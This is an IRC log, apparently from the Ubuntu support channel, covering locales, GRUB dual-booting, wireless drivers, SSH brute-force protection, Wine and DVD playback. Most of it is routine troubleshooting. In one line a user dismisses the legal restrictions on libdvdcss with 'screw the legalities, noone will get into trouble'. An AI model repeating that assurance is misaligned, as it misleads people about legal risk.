[00:00] <kiru_> when i type help or man i get the help in hindu
[00:00] <jamiecumbria> neverblue:thanks i'll try
[00:00] <U`> synaptic ...
[00:00] <musashi> rxKaffee, that's why i was looking. that channel isn't overly active or helpful
[00:00] <Atomic_UE> soundray, there's no thesaurus either, but i'm not worried about that
[00:00] <neverblue> U`, what do you want to do, please be very clear
[00:00] <Pelo> snake_, I'm out fo ideas then
[00:00] <Pelo> neverblue,  he need to install more language packages
[00:00] <snake_> Pelo: thats ok. you helped me anyway. thanks
[00:00] <neverblue> Pelo,  I dont believe so
[00:00] <Pelo> u`  synaptic package manager,   menu > system > admin > synaptic
[00:00] <rxKaffee> musashi: that is denyhosts.conf is for ftp progs?
[00:01] <musashi> rxKaffee, it's for ssh
[00:01]  * Pelo feels like a failure
[00:01] <Atomic_UE> soundray, the selected language is English Australia, and I've just looked through synaptic at OOo packages and there's only packages for English GB installed
[00:01] <kiru_> if check in synaptic  punching in keys on a terminal
[00:01] <rxKaffee> musashi: afaik opensshd doesn't listen to the old deny/allow hosts files... you can set it to not allow root logins in the sshd.conf or whatever file it is
[00:01] <w00t> hi. not really good with grub, trying to figure out how to add an OS installed on a secondary HDD aka not the HDD my main grub is on
[00:01] <rxKaffee> musashi: or do I misunderstand teh purpose of the directive you're trying to set?
[00:02] <Pici> musashi: I use fail2ban to stop login attempts
[00:02] <U`> ok .. while using my ubuntu i try to learn some commands then i use msn command or help command to get more informaions about the command but i type that ..i got the help in english i just dont want it in english i want it in french
[00:02] <Pelo> w00t,  which os ?
[00:02] <musashi> rxKaffee, so denyhosts won't work with ssh? i that's that's what it's for
[00:02] <Pici> !locale | U`
[00:02] <ubotu> U`: To set up and configure your locales, see https://help.ubuntu.com/community/LocaleConf
[00:02] <Pici> U`: And install manpages-fr
[00:02] <w00t> Pelo: mac (osx86) ^_^
[00:02] <musashi> Pici, i'll check that out. thanks
[00:02] <soundray> Atomic_UE: ah, now we're getting somewhere. You will need openoffice.org-thesaurus-en-au for the thesaurus
[00:03] <hocmin> I'm trying to use miro for the first time and whenever I try to add a channel it opens a firefox window.  Is there anyway to avoid this?
[00:03] <Pici> musashi: It can do alot more than ssh, but thats all I use it for, its webpage has quite a bit of documentation.
[00:03] <Pelo> w00t,  I don'T rightly know how to do it for mac os,  try asking in #grub,  be very patiente it's not a very busy channel
[00:03] <rxKaffee> musashi: oh, I was thinking of a different program, sorry
[00:03] <rxKaffee> fail2ban is kinda heavy
[00:03] <soundray> Atomic_UE: and myspell-en-au to spellcheck.
[00:03] <gnr> what movie player do you all use? vlc?
[00:03] <Pici> rxKaffee: it is, true.
[00:03] <cancu> has anyone got matlab under ubuntu?
[00:03] <neverblue> VLC
[00:04] <w00t> pelo: yeah im here, thought i'd try a busier chan see i iget lucky...thanks!
[00:04] <musashi> rxKaffee, well, denyhosts seems to do the job, it just doesn't ban at 1 for root like it's configured
[00:04] <nny> Pici, seems bootchart makes a .tgz file in /var/log.. In examples I see shiny graphs.. did I miss something?
[00:04] <U`> ok thanks pici
[00:04] <U`> thank you ubotu
[00:04] <Pelo> U`,  not all man pages are available in french,  most of mine are in english and I am setup in french as well , maybe the ppl in #ubuntu-fr know more about getting french manpages
[00:04] <neverblue> U`, its a bot --> ubotu :)
[00:04] <Pici> nny: one second.
[00:04] <gnr> is there any way of boosting wireless signal? my laptop sits still, yet the reception goes from 2 bars to 0 over about 20 mins, why is this? :o any programs i can install to help this?
[00:04] <nny> Pici, np
[00:05] <bruenig> gnr, that is a driver issue
[00:05] <burzum> hi
[00:05] <bruenig> gnr, kernel space, not user space
[00:05] <burzum> how can i switch from metacity window decorations to compiz themes?
[00:05] <rxKaffee> musashi: it bans properly for other violations though?
[00:05] <U`> oh fine bot talking thats nice ^^
[00:05] <Xapper> soundray: hmmm, didnt work - also had a few problems with rired connection
[00:05] <Pelo> w00t,  I know that windows likes to be on the boot hdd, so when using grub you need to remap the hdd ( in grub) for windows to boot if it is not on the boot hdd,  maybe that needs to be done for OSx as well
[00:05] <dissection> gnr, if its a Linksys router, you could try an open source firmware that'll allow you to improve the signal
[00:05] <soundray> Xapper: yes, I was wondering...
[00:05] <musashi> rxKaffee, seems to. most attempts are for root but for other non-existent accounts they get banned after 3 (i think)
[00:05] <Pici> nny: Mine get put into /var/log/bootchart/*.png
[00:05] <gnr> what do i need to do bruenig?
[00:05] <Xapper> soundray: LOL
[00:06] <nny> Pici, mounting /var/log to tmpfs, which doesn't allow for sub-dirs. I removed the fstab entry and I am rebooting
[00:06] <maff> anyone doing clustering with 7.10 on amd64?
[00:06] <nny> Pici, system is SSD based
[00:06] <Xapper> soundray: oh well its all good fun
[00:06] <soundray> Xapper: what do you get from a 'modinfo rt2570'?
[00:06] <bruenig> gnr, rewrite the kernel module?
[00:06] <bruenig> learn c first probably before you do that
[00:06] <soundray> Atomic_UE: was I making sense?
[00:06] <nny> Pici, er "by using tmpfs, the subdirs don
[00:06] <nny> t exist"
[00:06] <Pici> nny: ah.
[00:06] <Pici> nny: Anything in those tar.gz files?
[00:06] <Atomic_UE> yeh installed both...OOo not starting up now :( trying to figure out why
[00:06] <soundray> Xapper: good attitude
[00:06] <Pelo> w00t,  this may help a bit , after you have recovered from reading it  http://www.gnu.org/software/grub/manual/grub.html
[00:06] <Xapper> soundray: whats the link for pasting again
[00:07] <nny> Pici should be good now, ty. ( i changed back for a sec and rebooted, let me look for that folder)
[00:07] <nny> Pici, yesh, a header file and some logs
[00:07] <Atomic_UE> soundray, yeh installed both...OOo not starting up now :( trying to figure out why
[00:07] <musashi> rxKaffee, i can paste a log if that helps
[00:07] <soundray> Xapper: I only need the description: line, you can sneak that in here

[00:08] <Yachi> hey
[00:08] <rxKaffee> musashi: nah, I don't know anything about the program, was just wondering if maybe it was having trouble executing the "blocking" routine(iptables, route, whatever)
[00:08] <Xapper> sorry
[00:08] <nny> Pici hmmph, no bootchart folder, only the tgz again
[00:08] <w00t> Pelo: thanks...will bookmark it in case i need it :)
[00:08] <Pici> nny: Did you try extracting the .tgz?
[00:08] <Pici> oh, nevermind you said that.
[00:09] <dissection> I have a problem. I installed nvidia-settings, and now my driver is missing and Ubuntu started in safe graphics mode.. How do I fix this?

[00:09] <musashi> rxKaffee, i meant the auth.log but it does block IPs. they do get added after 10 attempts. i have it set to 1 though and not sure why it isn't working
[00:09] <Yachi> im looking to get my usb headset working but i can't find drivers for it. is there any general usb headset drivers?
[00:09] <soundray> Atomic_UE: consider renaming .openoffice.org2 -- you will lose your customization, but it may work again
[00:09] <soundray> Xapper: I've seen it
[00:09] <larson> i nned help trying to get on the internet with dialup
[00:09] <nny> Pici, yeah has header, proc_diskstats.log, proc_ps.log and proc_stat.log
[00:09] <Pelo> dissection,  sudo dpkg-reconfigure xserver-xorg

[00:09] <Pelo> !dailup | larson
[00:09] <ubotu> Sorry, I don't know anything about dailup - try searching on http://ubotu.ubuntu-nl.org/factoids.cgi
[00:09] <Pelo> !modem | larson
[00:09] <ubotu> larson: You want to connect via dial-up? Read https://help.ubuntu.com/community/DialupModemHowto
[00:09] <rxKaffee> musashi: I'd scrap that all together, just change your port to a non-standard one, disable root login and password logins(key only), and use portsentry to ban any IP that hits the default ssh port
[00:09] <ZareliMan> hi
[00:09] <Atomic_UE> soundray, just did that, no effect
[00:09] <ZareliMan> I have a little issue
[00:09] <Romina> where can I choose what Java version I want to use when there are different kinds of Java's installed?
[00:10] <Pelo> burzum, you need to ask in #compiz-fusion
[00:10] <soundray> Xapper: I think you should try to disable network manager
[00:10] <burzum> ok
[00:10] <Xapper> rxkafee: not sure what problem is, new to this
[00:10] <Pelo> ZareliMan, state it breifly and in one line
[00:10] <soundray> Atomic_UE: did the package installation complete successfully?
[00:10] <ZareliMan> I have problems with a non-open soft driver
[00:10] <Xapper> soundray: do i do that through synaptic?
[00:10] <Centaur5> Could anybody tell me if Ubuntu PXE installs are broken in Gutsy?
[00:10] <Atomic_UE> soundray, yep
[00:11] <osmosis_> anyone remember the name of that app that shows a collage of image being loaded on your local network ?
[00:11] <musashi> rxKaffee, i've been reluctant to use a non-standard port 'cause i'm afraid I might not be able to connect from work if the port i choose is blocked
[00:11] <Pelo> ZareliMan,  this is a busy channel as you can see,  tell us the exact problem which driver and what happens
[00:11] <jimbojw> quick question: when using find, how can I get a reference to just the base filename? so for example, if find finds '/a/b/c/d.ext' and puts it in{}, i just want 'd.ext'
[00:11] <Atomic_UE> soundray, WARNING **: Unknown error forking main binary / abnormal early exit
[00:11] <Xapper> soundray: and will it affect my wired connection?
[00:11] <Atomic_UE> soundray, that's the error i get, not very helpful
[00:11] <tgelter> so I know this probably isn't the best place to ask this question, but I'm looking for a gps solution for the palm centro if anyone knows of one...like, I'd like to use some bluetooth gps receiver along with google maps
[00:11] <billthefish> I'm running Kubuntu (already asked this question in the kubuntu channel with no responce) 7.10 on my other PC. About 10 minutes ago while using inkscape, my ps\2 Keyboard just completely stoped working.. I've checked the connection in the back of the PC and its good, rebooted and allows me to type my password.. but once loged in.. i can't get the Keyboard to do anything.. Anyone come across this issue? or know how to fix it?
[00:11] <musashi> rxKaffee, i don't have a root login enabled but just want to limit the attempts
[00:11] <Punkunity> word up room
[00:11] <rxKaffee> musashi: ah, I see... corporate outgoing firewals suck :( put it on email port if you're not using email already ;)
[00:12] <musashi> rxKaffee, i tried 443 but it didn't work
[00:12] <soundray> Xapper: yes, but to do it temporarily, just do a sudo killall nm-applet ; sudo killall NetworkManager
[00:12] <Punkunity> i wanted to know about putting the new 7.10 on a memory stick, and then running and installing 7.10 from the memory stick
[00:12] <Roo-kie> are .daa files bootable?
[00:12] <musashi> rxKaffee, i.e. failed to connect (timed out)

[00:12] <ZareliMan> I can't activate my wireless' drirver (Broadcom 802.11) on my Ubuntu 7.10 and can't edit packages, because it asks for internet connection (wich I don't have cause the driver doesn't work)
[00:12] <Xapper> soundray: ok and when i reboot it will be back to normal, ok i'll give that a shot...thanks for all your help mate! appreciated!
[00:13] <Punkunity> i cannot use my web browser at the moment, but i am going to reformatt the computer in the process...ubuntu does ask you to if you want to during intial install right??
[00:13] <Roo-kie> Pelo: I don't know

[00:13] <ubotu> ZareliMan: Wireless documentation can be found at https://help.ubuntu.com/community/WifiDocs
[00:13] <soundray> Atomic_UE: that's very strange
[00:13] <snkmad> whenever i put a dvd movie on drive, it loads it with totem, how do i set it to open with vlc?
[00:13] <Yachi> im looking to get my usb headset working but i can't find drivers for it. is there any general usb headset drivers?
[00:14] <Pelo> Roo-kie,  if daa files are cd images you need to burn the image to the cd , ( not copy the daa file to the cd , not the same thing) then you will have a bootable cd
[00:14] <soundray> Atomic_UE: when you exited OOo, maybe it didn't terminate. Then it could have rewritten your freshly-renamed user config.
[00:14] <Pelo> Roo-kie,  assuming that the image in the daa file is that of a bootable cd
[00:14] <Pici> nny: got it:  `java -jar /usr/share/bootchart/bootchart.jar --help` update arguments for your needs
[00:14] <Roo-kie> Pelo: Thanks heaps
[00:15] <Xapper> soundray: ok i ran those two commands, second one gave 'no process killed'
[00:15] <Pelo> Yachi,  try looking up your model in https://wiki.ubuntu.com/HardwareSupport or in the forum see what is available in therms of info www.ubuntuforums.org
[00:15] <nny> ahh Pici thanks
[00:15] <gnr> how come vlc is not in the synaptic package manager? how doi install it?
[00:15] <soundray> Atomic_UE: the intellectually lazy approach would be to reboot, then rename your user config again and see if it starts after that.
[00:15] <Xapper> soundray: ah was a typo (case)
[00:15] <Pici> !info vlc | gord_

[00:16] <Atomic_UE> soundray, yeh i'll give it a shot...it pops up the splash screen for a second then dies
[00:16] <soundray> Xapper: do a 'ps aux | grep Network' to be sure no trace is left
[00:16] <gnr> that didn't mean anything to me Pici

[00:16] <dissection> :(
[00:16] <dissection> I have a problem. I installed nvidia-settings, and now my driver is missing and Ubuntu started in safe graphics mode.. How do I fix this?

[00:25] <ubotu> atlfalcons866: reiserfs is a journalling file system, which outperforms many others on I/O operations, but has drawbacks (such as increasing likelihood of data loss, and introducing latency unsuitable for gaming or real-time audio). Using !ext3, the default on Ubuntu, is *highly* recommended. A read-only Windows driver is available at http://p-nand-q.com/download/rfstool.html
[00:25] <dissection> I'm not sure if this is a bug, but when I set a static IP for my wired and wireless network, my wireless doesn't work properly.. i.e, my torrents will work perfectly, but I can't ping any ips (not even on the network), or access the router. But if I set a static IP for the wireless and dynamic for the wired, or vice versa, this problem isn't there. Is this an Ubuntu bug? Has anyone noticed anything like this?

[00:32] <mayorbuttes> Jordan_U: Yessir
[00:32] <Avt3kk> how to add

[00:32] <djjoka> so... no Zune support , i cant find anything
[00:32] <nny> Pici, seems to be a snag, any advice?
[00:33] <scguy318> jsschmid: hard disk dying?
[00:33] <Xapper> soundray: http://paste.ubuntu-nl.org/43735/
[00:33] <scguy318> jsschmid: sounds like you might wanna backup asap
[00:33] <mayorbuttes> jsschmid: backup anything you have that you would mind losing
[00:33] <jsschmid> scguy318: no, ubuntu  is still running of it and I can still access the data when mounting it in ubuntu
[00:33] <scguy318> jsschmid: but that data might go bye-bye soon so
[00:33] <Jordan_U> mayorbuttes, Right now ( because of some features lacking in network-manager which are resolved in the newest version ) if an interface is defined in /etc/networking/interfaces it won't be available to network-manager
[00:33] <soundray> Xapper: have you disabled ESSID advertising?
[00:33] <jsschmid> its not a hd problem!
[00:34] <scguy318> jsschmid: alright, so could you be more specific about the XP issue?
[00:34] <soundray> jsschmid: famous last words :)
[00:34] <Pici> nny: can you open it in inkscape or gimp?
[00:34] <jsschmid> for me, it is a partitioning problem
[00:34] <nny> Pici, let me try
[00:34] <jsschmid> soundray: :-D
[00:34] <scguy318> jsschmid: Disk Read Error, during XP boot or during BIOS phase?
[00:34] <Xapper> soundray: dont think so but ill check . sudo iwlist didnt work?
[00:34] <mayorbuttes> Jordan_U: Hm... I see... so network-manager just runs separate of /etc/network/interfaces ?
[00:34] <dus1> is there a way to defrag the HD with ubuntu, or doesnt it need it?
[00:34] <jsschmid> scguy318: right
[00:34] <Jordan_U> mayorbuttes, So you can either just use network manager ( which unfortunately has no good cli front end that I know of ) or set up a "manual" connection in System -> Administration -> Networking
[00:34] <Pici> dus1: doesnt need it.
[00:34] <Jordan_U> mayorbuttes, Yes
[00:35] <gravyface> hello all
[00:35] <soundray> Xapper: the ESSID is an empty string, that's why I'm asking
[00:35] <dus1> Pici: thats awesome, thanx
[00:35] <Xapper> soundray: ah yes it was off :)
[00:35] <mayorbuttes> Jordan_U: Is there anyway to continue using /etc/network/interfaces and completely ignore network-manager all-together?
[00:35] <LjL-Temp> soundray: so you ask questions like that and then run away, uh? do you know how many totally awkward and incomprehensible awk, ed, sed, etc commands i've had to witness in #bash because of your darn question?
[00:35] <gravyface> if I want to find out my processor/mobo (hardware) specs from the shell, how would I do it?
[00:35] <jsschmid> scguy318: I had installed XP previously, the installed Ubuntu, reconfigured grub, now I get the DISK READ ERROR when trying to boot XP
[00:36] <djjoka> is there a plugin or something to where I can use .exe files... other than VMware?
[00:36] <jsschmid> scguy318: I startet testdisk and it said that the heads per cylinder might be wrong (actual value is 255, proposed 240), but I'm not sure if I want to change it just out of a gues
[00:36] <mayorbuttes> djjoka: Look up wine
[00:36] <Pici> !wine | djjoka
[00:36] <ubotu> djjoka: WINE is a compatibility layer for running Windows programs on GNU/Linux. See https://help.ubuntu.com/community/Wine for more information, and see !AppDB for application compatibility.

[00:36] <ImLost---> jsschmid: where do you put the grub?
[00:36] <Jordan_U> mayorbuttes, Yes, setup the connection in System -> Administration -> Networking, though I am dissapointed that they just decided to nuke /etc/networking/interfaces on upgrades, is there a backup?
[00:36] <djjoka> ill test
[00:36] <scguy318> jsschmid: I unfortunately must break for dinner, I guess I'll let ImLost take up your question, might be an MBR thing
[00:36] <jsschmid> ImLost---:  on the ubuntu partition (same drive, second partition hd 0,1)
[00:36] <mayorbuttes> Jordan_U: Unfortunately, no. And the settup on my end is a little wonky to begin with since I'm on a University's connection
[00:36] <Xapper> soundray: http://paste.ubuntu-nl.org/43736/ its there now
[00:36] <Avt3kk> cant I just get a pidgin deb and install it?
[00:36] <djjoka> is it a "Sudo" install?
[00:37] <mayorbuttes> Jordan_U: So it just makes everything REALLY complicated =p
[00:37] <soundray> LjL-Temp: I'm so deeply sorry! I solved the prob the obvious way, by saving the output in a tempfile...
[00:37] <Pici> djjoka: huh?
[00:37] <LjL-Temp> soundray: try either « command | tee >(sed -n -e '1,10 p' >/tmp/head) >(tail >/tmp/tail) », and then cat those files in /tmp, or perhaps « command | sed '1,10w file1' | tail >file2 » and cat those
[00:37] <djjoka> sudo get-.........
[00:37] <rxKaffee> Avt3kk: you the guy trying to get pidgin on dapper?
[00:37] <jsschmid> scguy318: not mbr, grub is still booting
[00:37] <djjoka> that
[00:37] <Avt3kk> yes
[00:37] <Pici> djjoka: sudo apt-get install wine
[00:37] <mayorbuttes> djjoka: It's all sudo installs
[00:37] <rxKaffee> Avt3kk: you should be able to install the older (1.5 series) gaim, but for pidgin you'll need to find a backport
[00:37] <djjoka> thank you
[00:37] <Avt3kk> im the guy putting pigin on dapper
[00:37] <djjoka> ok
[00:37] <Jordan_U> mayorbuttes, Have you checked "ls -a /etc/network/" ? It might be ( though probably not ) hidden
[00:37] <Xapper> soundray: i think i'll be buying linux(ubuntu) for beginners at the weekend
[00:37] <rxKaffee> Avt3kk: is there a reason you need pidgin rather than gaim?
[00:38] <djjoka> ok
[00:38] <Avt3kk> whats a backport? :/
[00:38] <soundray> LjL-Temp: wow
[00:38] <LjL-Temp> soundray: but of course i *did* assume that using a temporary storage was not admissible. i'll spare you the whole explanation why « | tee >(head) >(tail) » doesn't work and tail displays some random lines instead of the last line, but only because i'm already worn out - you'd deserve to learn it all >:
[00:38] <rxKaffee> Avt3kk: backport is when a newer package is taken apart to source code, and re-compiled into an older operating system
[00:38] <Avt3kk> in yahoo chat now you need to confirm to get in the room
[00:38] <mayorbuttes> Jordan_U: The file still exists, don't get me wrong.
[00:38] <jsschmid> :-|
[00:38] <bz3> ok my ubuntu desktop has just started logging me out instead of locking the screen.. anyone have any sugestions??
[00:38] <mayorbuttes> Jordan_U: it's just that they nuke everything inside of the file
[00:38] <rxKaffee> Avt3kk: and you've tried with gaim to confirm but it doesn't work?
[00:39] <Avt3kk> rxKaffee so how do I update gaim then
[00:39] <Avt3kk> my gaim is way to old it just sits there
[00:39] <jsschmid> ImLost---:  any ideas?
[00:39] <Jordan_U> mayorbuttes, I know, and whenever that happens automatically ( like with your xorg.conf ) I thought it was standard practice for the script replacing / modifying it to create a backup
[00:39] <Yachi> how can i get ntfs-3g to scan for ntfs filesystems?
[00:39] <reco_> I was playing with various themes and moving panels around.  I no longer have the network icon or update icon in my panel.  How do I get them back?
[00:39] <rxKaffee> Avt3kk: I think I have a backports -made-easy url here, one sec and I'll look
[00:40] <mayorbuttes> Jordan_U: Ah. I'll check next time I boot into that machine
[00:40] <usr13> jsschmid: What are you trying to do?
[00:40] <Pici> reco_: right click and add to panel, and use the notification area applet.
[00:40] <Jordan_U> Yachi, You just want all ntfs file systems mounted?
[00:40] <Avt3kk> rxKaffee yes that is what I want!! :D tyyy
[00:40] <jsschmid> usr13: I get a DISK READ ERROR after installing ubuntu when trying to start winxp. When I mount the partition in ubuntu I can still access all the data on the drive.
[00:40] <ImLost---> jsschmid: In your place I would try recovey "windows mbr" windows (with the windows boot cd, fdisk /mbr)
[00:40] <soundray> LjL-Temp: thank you, thank you so much! If you ever need someone to read some horrible stuff for you, you know who to ask.
[00:40] <[sLaSh]> hi there! i got a problem, since yesterday my icq password isnt accepted anymore but im 100% sure that its right. happened after a restart an ive even tested icq2go...... with another account it works well.... anyone got the same problem or maybe any solution?
[00:40] <rxKaffee> Avt3kk: I'll warn though, its not easy, and will probably frustrate a bit
[00:40] <djjoka> with wine. is there other files i need to install?
[00:40] <djjoka> if so i cant find them
[00:41] <jsschmid> usr13: didnt we talk yesterday as well (mounting an USB stick I previously bootet from)
[00:41] <Jordan_U> mayorbuttes, If there is one it's name probably starts with interfaces, so something like "/etc/network/interfaces-date"
[00:41] <Pici> djjoka: Why do you think you need more files?
[00:41] <djjoka> ... i dont know
[00:41] <Avt3kk> I have a dualboot of xp and dapper and each has an image backup and a harddrive clone I cant be frustrated ;)
[00:41] <djjoka> just asking
[00:41] <usr13> jsschmid: Yes I think so
[00:41] <mayorbuttes> Jordan_U:  Thanks very much. I appreciate it
[00:41] <jsschmid> ImLost---:  the problem is, that I dont have a CDROM on my Laptop
[00:41] <reco_> Pici:  Thanks, that was so simple
[00:41] <Jordan_U> mayorbuttes, np
[00:41] <Avt3kk> rxKaffee ha :)
[00:41] <RabidWeezle> Hey folks, Just wanted to know, How do I enable the framebuffer?
[00:42] <phire> hey, is there a like a init script that gets when ubuntu comes out of suspend?
[00:42] <usr13> jsschmid: but don't remember what we did before
[00:42] <LjL-Temp> soundray: i'll just quickly cover the main alternatives. « perl -e 'print ((<>)[0..9,-10..-1])' », but this stores the stuff into memory, « ed -s file <<< $'1,10d\n$-9,$d\nw' », but this may not work with a command's output, « ed -s <<< $'e !ls /\n1,5d\n$-3,$d\n,p' », don't ask, « printf "%d\n" {1..30} | sed $':s;1,15{N;10w file1\nbs};{N;D}' > file2 », first 10 lines and last 15 lines, and finally  http://pastebin.com/m6c7da6d5 , a full-blown
[00:42] <LjL-Temp> sliding array awk implementation
[00:42] <Avt3kk> rxKaffee cant I just type sudo apt-get update gaim?
[00:42] <jsschmid> usr13: anyway, not important, it didnt work out
[00:42] <[sLaSh]> no clue at all?!?!?!?!?!
[00:42] <[sLaSh]> :/
[00:42] <Jordan_U> phire, Yes, let me see if I can find it
[00:42] <nny> meh you know you have been using linux too long when you try to tab complete firefox
[00:42] <[sLaSh]> im missin' my friends ;)
[00:42] <nny> Pici, http://www.atlantiatech.com/bootchart.jpg
[00:42] <usr13> jsschmid: I wonder if the problems are related...???  So, you are unable to boot WinXP now?
[00:42] <Pici> nny: woo
[00:42] <beewoo> hello, i'm using Ubuntu on an intel Imac. I can't find a way to turn the screen brightness down. anyone can help?
[00:43] <mayorbuttes> [sLaSh]: No one uses icq anymore.
[00:43] <phire> thanks Jordan_U, I couldn't find it my self
[00:43] <rxKaffee> Avt3kk: sudo apt-get update; to update your list of avail software from the repo, must likely there will be no candidates to "upgrade" gaim to though
[00:43] <[sLaSh]> well i do!
[00:43] <[sLaSh]> some kind of addicted!

[00:44] <ImLost---> jsschmid: did you try a boot floppy ? http://www.bootdisk.com/
[00:44] <soundray> LjL-Temp: you're amazing. Can you please make me feel a bit better by admitting that you had a tiny bit of fun researching this?
[00:44] <gnr> how do you open the file browser with root?
[00:44] <usr13> jsschmid: I think you are the one that was unexplainably unable to mount and read a flash memory drive of some sort?
[00:44] <Xapper> soundray: any other ideas mate?
[00:44] <mayorbuttes> [sLaSh]: well I apologize, but if no one is answering, we probably don't know :)
[00:44] <Punkunity> how do i make my computer boot up off of a SD card or similar memory card form the multi-card reader
[00:44] <ImLost---> i dont know if there is a fdisk on it, but could...
[00:44] <[sLaSh]> maybe no one read it ;)
[00:44] <[sLaSh]> but thx anyway
[00:44] <usr13> jsschmid: You might be dealing with a hardware issue..... something missconfigured maybe.
[00:44] <Avt3kk> rxKaffee so no luck huh
[00:45] <rxKaffee> Xapper: there's a very informative thread on the forum
[00:45] <mayorbuttes> [sLaSh]: I read it
[00:45] <LjL-Temp> soundray, at the beginning, yes, then when all those crazy guys in #bash started giving all those horrendous commands, i started feeling uncomfortable, embarrassed and a headache
[00:45] <rxKaffee> Avt3kk: saorry, still trying to track down the url
[00:45] <nny> Pici, i think tomorrow I will be recompiling kernel to remove modules that aren't needed as well as compiling in static hardware
[00:45] <jsschmid> usr13: yes, cant boot. I think they are kind of related: I used a USB stick to boot from and the installing ubuntu getting the packages from the server. After everything was done I had the grub on my USB stick, it was possible to boot both OS'es from there. Then I set up grub to be on my harddrive, now I cant boot winxp anymore, but ubuntu works
[00:45] <Jordan_U> phire, It's in /usr/lib/hal/scripts/linux/
[00:45] <mayorbuttes> [sLaSh]: but you're welcome
[00:45] <phire> thanks Jordan_U

[00:45] <Avt3kk> rxKaffee it ok I will be here for a while anyways
[00:45] <dissection> Where do I put a shell script so that it runs everytime on boot?
[00:45] <Pici> nny: What are you using the device for, I'm just curious
[00:45] <Xapper> soundray: ive gone through a few of them, wieman01 was my first attempt but i hit problems with 64bit etc

[00:50] <dissection> Jordan_U: Okay, I just installed bum, i.e., Boot-Up Manager. How do I add a script to this? I don't see an option for that anywhere...
[00:51] <jsschmid> usr13: http://paste.ubuntu-nl.org/43738/
[00:51] <Avt3kk> any ideas guys?

[00:51] <avayl> can someone help me out with my ubuntu install? im having some sound issues
[00:51] <rxKaffee> Avt3kk: you can request someone make a backport in the forum

[00:52] <dissection> Jordan_U: I can't do it with the GUI?
[00:52] <Avt3kk> ook ty
[00:52] <saltydav> hey do i need xgl to run compiz fusion for ati driver 8.40.4-1 ?  since which version of ati driver xgl is no longer needed but aiglx will do it automatically? thank you
[00:52] <dana_bad> how do you start a program that has a launcher with elevated permissions?
[00:52] <JP_Pialasse> i have probleme configuring devilspie it seems it can only deals with workspaces but not compiz virtuals horizontals desktops rights ?
[00:52] <Jordan_U> dissection, I don't know, there is probably a way but I've never tried
[00:52] <LjL> soundray: in theory it's the lousiest one possibly, as it stores the entire thing into memory, so if it's a very long output it's far from optimal
[00:52] <nickwashere> Can you watch DVDs on your Ubuntu 7.10?  If yes, PM me how! :o)  thanks!
[00:52] <ImLost---> jsschmid: Bad News, unitl where i know you would kew some type of windows boot to fix this... (supposing that this could be fixed 'by software'), and according with http://www.ngine.de/index.jsp?pageid=4176
[00:52] <RabidWeezle> Kaso Either way you do it you gotta login...
[00:52] <ImLost---> windows cant boot from usb
[00:53] <Jordan_U> dana_bad, Not sure if I understand the question, but I think the answer is gksudo :0
[00:53] <Jordan_U> :)
[00:53] <dana_bad> Jordan_U: how do you gksudo?
[00:53] <Jordan_U> !dvd > nickwashere
[00:53] <RabidWeezle> Kaso If you don't use gdm, you gotta login via terminal and then type in startx... so gdm is actually easier than the alternative
[00:53] <nickwashere> Whats !dvd mean?
[00:53] <Avt3kk> rxKaffee is this how to do it? http://ubuntuforums.org/showthread.php?t=268687
[00:53] <Jordan_U> dana_bad, Explain more what you are trying to do exactly
[00:54] <jewbilee> nickwasher: it tells ubotu to message you and give you information on a topic, in this case, it involves DVD's
[00:54] <rxKaffee> Avt3kk: looks like to creat your own, you could get away with downloading the relevant source files from gutsy's packages at packages.ubuntu.com, and then using apt-get source-build to compile them
[00:54] <Punkunity> does anyone know if i need to change the bios or anything elese to get my box to boot form my multi-card reader thats built into my com,puter
[00:54] <Jordan_U> nickwashere, It tells the channel bot to send you a PM about DVD's
[00:54] <nickwashere> Ah! haha This is so damn confusing.  Guys I just want to watch The Office on my laptop!
[00:54] <Punkunity> its on a memory stick duo pro
[00:54] <Kaso> RabidWeezle basically what i want to do is be able to turn my pc on, then VNC into and do my stuff, but the vnc server only starts up once ive logged in, any way i can get around this, i can ssh into the machine too.
[00:54] <dana_bad> Jordan_U: i want to edit the metadata for my mp3s but i dont have the right permissions
[00:54] <aguitel> how start every times in the restart compiz&emerald in gutsy ?
[00:54] <FluxD> nickwashere: VLC
[00:55] <dana_bad> Jordan_U: i think maybe a better idea is to chmod them
[00:55] <Avt3kk> rxKaffee yay this is good news ty :D
[00:55] <dormedas> Umm, I got a broken libc6-dev and libc6-i686 package, so I used synaptic to install -f, and now GDM won't boot because it erased a lot, but libc6 is still on here
[00:55] <jsschmid> ImLost---:  there are two ways to do it: just boot from your recovery partition ... I removed that one to get more space
[00:55] <jsschmid> ImLost---:   second: you can prepare an usb stick with Windows PE (Preboot Environment, e.g. BartPE) but it's a long way to go
[00:55] <Jordan_U> nickwashere, Install vlc and libdvdcss2
[00:55] <RabidWeezle> Kaso, that's cause vnc needs X to be running to send a desktop to it, it all runs off the xserver being up
[00:55] <rxKaffee> Avt3kk:
[00:55] <Punkunity> nickwashere just go to synaptic package manager or add remover programs, and search and download everyhting with dvd in it, asnd search and install ffmpeg
[00:55] <rxKaffee> Avt3kk: sorry, my paste buffer didn't work last try :P http://pupeno.com/2006/12/17/unstable-packages-on-ubuntu/
[00:55] <soundray> LjL: it's still better than calling the command twice. Storing intermediate files is all right, too, as long as I use local temp storage on the machine I run the command from -- have to avoid sending that thing to NAS.
[00:56] <RabidWeezle> Kaso what you should do is check out ssh
[00:56] <usr13> jsschmid: From menu.lst   remove lines 188,190,191
[00:56] <Jordan_U> Punkunity, That won't get him libdvdcss
[00:56] <Jordan_U> Punkunity, It's not in the default repos for legal reasons
[00:56] <Kaso> SSH into the machine then startx on it then vnc into it?
[00:56] <Jordan_U> Kaso, Or use ssh -X :)
[00:56] <Punkunity> sudo apt-get install libdvdcss but yeah i tghink thats how i got it by add remove jordan_u
[00:56] <jsschmid> usr13: ok, wait ...
[00:56] <Taras> Has anyone used WINE before ?
[00:57] <usr13> Taras: I have.
[00:57] <Jordan_U> !anyone | Taras
[00:57] <ubotu> Taras: A large amount of the first questions asked in this channel start with "Does anyone/anybody..."  Why not ask your next question (the real one) and find out?
[00:57] <Punkunity> oh i had to copy and paste a reppio before doing it, and screw the legalities, noone will get into trouble for it
[00:57] <RabidWeezle> you can access it from a windows machine by using a free app called putty if you need to with ssh Kaso
[00:57] <dormedas> I got a broken libc6-dev and libc6-i686 package, and synaptic "fixed it" with install -f, but it didn't fix it, and now GDM won't start, help?
[00:57] <d0c> how do i install KDE once gnome is loaded in ubuntu?
[00:57] <soundray> !kde | d0c
[00:57] <ubotu> d0c: KDE (http://kde.org) is the !desktop environment used natively in !Kubuntu. To install from Ubuntu: « sudo apt-get install kubuntu-desktop », or see http://help.ubuntu.com/community/InstallingKDE .

